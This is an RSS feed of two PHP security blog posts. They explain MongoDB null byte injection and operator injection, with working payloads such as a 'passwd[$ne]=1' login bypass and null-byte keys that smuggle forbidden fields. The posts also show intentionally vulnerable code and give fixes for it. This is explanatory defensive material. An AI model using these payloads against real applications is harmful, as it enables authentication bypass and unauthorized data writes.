<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web App Security &#187; MongoDB</title>
	<atom:link href="http://www.idontplaydarts.com/tag/mongodb/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.idontplaydarts.com</link>
	<description>PHP &#38; LAMP Stack Security</description>
	<lastBuildDate>Mon, 23 Jan 2012 09:54:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>MongoDB Null Byte Injection attacks</title>
		<link>http://www.idontplaydarts.com/2011/02/mongodb-null-byte-injection-attacks/</link>
		<comments>http://www.idontplaydarts.com/2011/02/mongodb-null-byte-injection-attacks/#comments</comments>
		<pubDate>Sat, 12 Feb 2011 12:50:47 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[MongoDB]]></category>
		<category><![CDATA[Null Byte Injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=48</guid>
		<description><![CDATA[Following my earlier post on how MongoDB can be vulnerable to SQL injection I discovered that MongoDB is also vulnerable to Null Byte Injection. The attack could potentially let users overwrite fields in the database to which the application logic &#8230; <a href="http://www.idontplaydarts.com/2011/02/mongodb-null-byte-injection-attacks/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Following my earlier post on how <a href="http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/">MongoDB can be vulnerable to SQL injection</a> I discovered that MongoDB is also vulnerable to Null Byte Injection. The attack could  potentially let users overwrite fields in the database to which the application logic denies them access. In extreme cases it may be possible to trick the application in writing to or reading from a different database or collection.</p>
<p style="text-align: justify;">Lets take a look at an example. The code below allows users to insert random objects into the collection by passing an array of objects in the GET command. However it denies them access to insert the field &#8220;verified&#8221;.</p>
<pre class="brush: php; title: ; notranslate">
$con = new Mongo(&quot;mongodb://localhost&quot;);
$db  = $con-&gt;selectDB(&quot;example&quot;)-&gt;
          selectCollection(&quot;population&quot;);

$_GET['person'] = array(
    &quot;name&quot; =&gt; &quot;Alice&quot;,
    &quot;age&quot; =&gt; 20,
    &quot;verified&quot; =&gt; true
);

unset($_GET['person']['verified']);
$db-&gt;insert($GET['person'], true);
</pre>
<p style="text-align: justify;">When we inspect the database we can see that the object was created in the &#8220;population&#8221; collection with the exception of the &#8220;verified&#8221; field.</p>
<pre class="brush: bash; title: ; notranslate">
&gt; use example
switched to db example
&gt; db.population.find();
{ &quot;_id&quot; : ObjectId(&quot;4d567e42528a7b056e000000&quot;), &quot;name&quot; : &quot;Alice&quot;, &quot;age&quot; : 20 }
</pre>
<p style="text-align: justify;">This code should allow the user to insert any people and prevent the &#8220;verified&#8221; field from being set. However, by injecting a null byte into the array key we can bypass the checks and allow the field &#8220;verified&#8221; to be stored in MongoDB.</p>
<pre class="brush: php; title: ; notranslate">
$con = new Mongo(&quot;mongodb://localhost&quot;);
$db  = $con-&gt;selectDB(&quot;example&quot;)-&gt;
          selectCollection(&quot;population&quot;);

$_GET['person'] = array(
    &quot;name&quot; =&gt; &quot;Alice&quot;,
    &quot;age&quot; =&gt; 20,
    &quot;verified&quot; . chr(0) . &quot;ignored&quot; =&gt; true
);

unset($_GET['person']['verified']);

$db-&gt;insert($_GET['person'], true);
</pre>
<p style="text-align: justify;">The MongoDB server filters out anything after the null byte and when we check the collection we can see that the &#8220;verified&#8221; field has been populated.</p>
<pre class="brush: bash; title: ; notranslate">
&gt; use example
switched to db example
&gt; db.population.find();
{ &quot;_id&quot; : ObjectId(&quot;4d567ff5528a7b476e000000&quot;), &quot;name&quot; : &quot;Alice&quot;, &quot;age&quot; : 20, &quot;verified&quot; : true }
</pre>
<p style="text-align: justify;">The Null Byte Injection affects the collection and database names as well. The code below would still write to the example.population collection.</p>
<p style="text-align: justify;">
<pre class="brush: php; title: ; notranslate">
$con = new Mongo(&quot;mongodb://localhost&quot;);
$db  = $con-&gt;selectDB(&quot;example&quot; . chr(0) . &quot;ignored&quot;)-&gt;
selectCollection(&quot;population&quot; . chr(0) . &quot;ignored&quot;);
</pre>
</p>
<p style="text-align: justify;">The best solution is to strictly validate the fields you allow users to pass to a collection,  additionally check each user-supplied database and collection string for the presence of null-bytes.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/02/mongodb-null-byte-injection-attacks/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Mongodb is vulnerable to SQL injection in PHP at least</title>
		<link>http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/</link>
		<comments>http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 11:09:10 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[MongoDB]]></category>
		<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=22</guid>
		<description><![CDATA[Its a common misconception that as MongoDB does not use SQL it is not vulnerable to SQL injection attacks. PHP uses objects rather than SQL to pass queries to the MongoDB server; for example the following script selects an item &#8230; <a href="http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Its a common misconception that as MongoDB does not use SQL it is not vulnerable to SQL injection attacks. PHP uses objects rather than SQL to pass queries to the MongoDB server; for example the following script selects an item form MongoDB where the username equals &#8216;bob&#8217; and the password equals &#8216;password&#8217;.</p>
<pre class="brush: php; title: ; notranslate">
$collection-&gt;find(array(
    &quot;username&quot; =&gt; $_GET['username'],
    &quot;passwd&quot; =&gt; $_GET['passwd']
));
</pre>
<p>This is equivalent to the SQL syntax</p>
<pre class="brush: php; title: ; notranslate">
mysql_query(&quot;SELECT * FROM collection
    WHERE username=&quot; . $_GET['username'] . &quot;,
    AND passwd=&quot; . $_GET['passwd'])
</pre>
<p style="text-align: justify;">In a normal SQL injection attack we can replace either of the two input parameters with a string such that the SQL query always returns true. e.g.</p>
<pre class="brush: xml; title: ; notranslate">
login.php?username=admin&amp;passwd=&quot; OR 1 --
</pre>
<p style="text-align: justify;">That wont work with MongoDB; however if we can pass in an object to the PHP MongoDB driver we could alter the query in a similar fashion. Luckily PHP provides us with a way to pass objects as GET or POST parameters:</p>
<pre class="brush: xml; title: ; notranslate">
login.php?username=admin&amp;passwd[$ne]=1
</pre>
<p>This creates the MongoDB query</p>
<pre class="brush: php; title: ; notranslate">
$collection-&gt;find(array(
    &quot;username&quot; =&gt; &quot;admin&quot;,
    &quot;passwd&quot; =&gt; array(&quot;$ne&quot; =&gt; 1)
));
</pre>
<p style="text-align: justify;">Which is the equivalent to the following SQL statement which, unless the password is &#8220;1&#8243; will always return true.</p>
<pre class="brush: php; title: ; notranslate">
mysql_query(&quot;SELECT * FROM collection
    WHERE username=&quot;admin&quot;,
    AND passwd!=1
</pre>
<p style="text-align: justify;">The solution is to ensure your variables are properly typed before they are passed into the MongoDB driver. The following code is not vulnerable to MongoDB injection:</p>
<pre class="brush: php; title: ; notranslate">
$collection-&gt;find(array(
    &quot;username&quot; =&gt; (string)$_GET['username'],
    &quot;passwd&quot; =&gt; (string)$_GET['passwd']
));
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-least/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

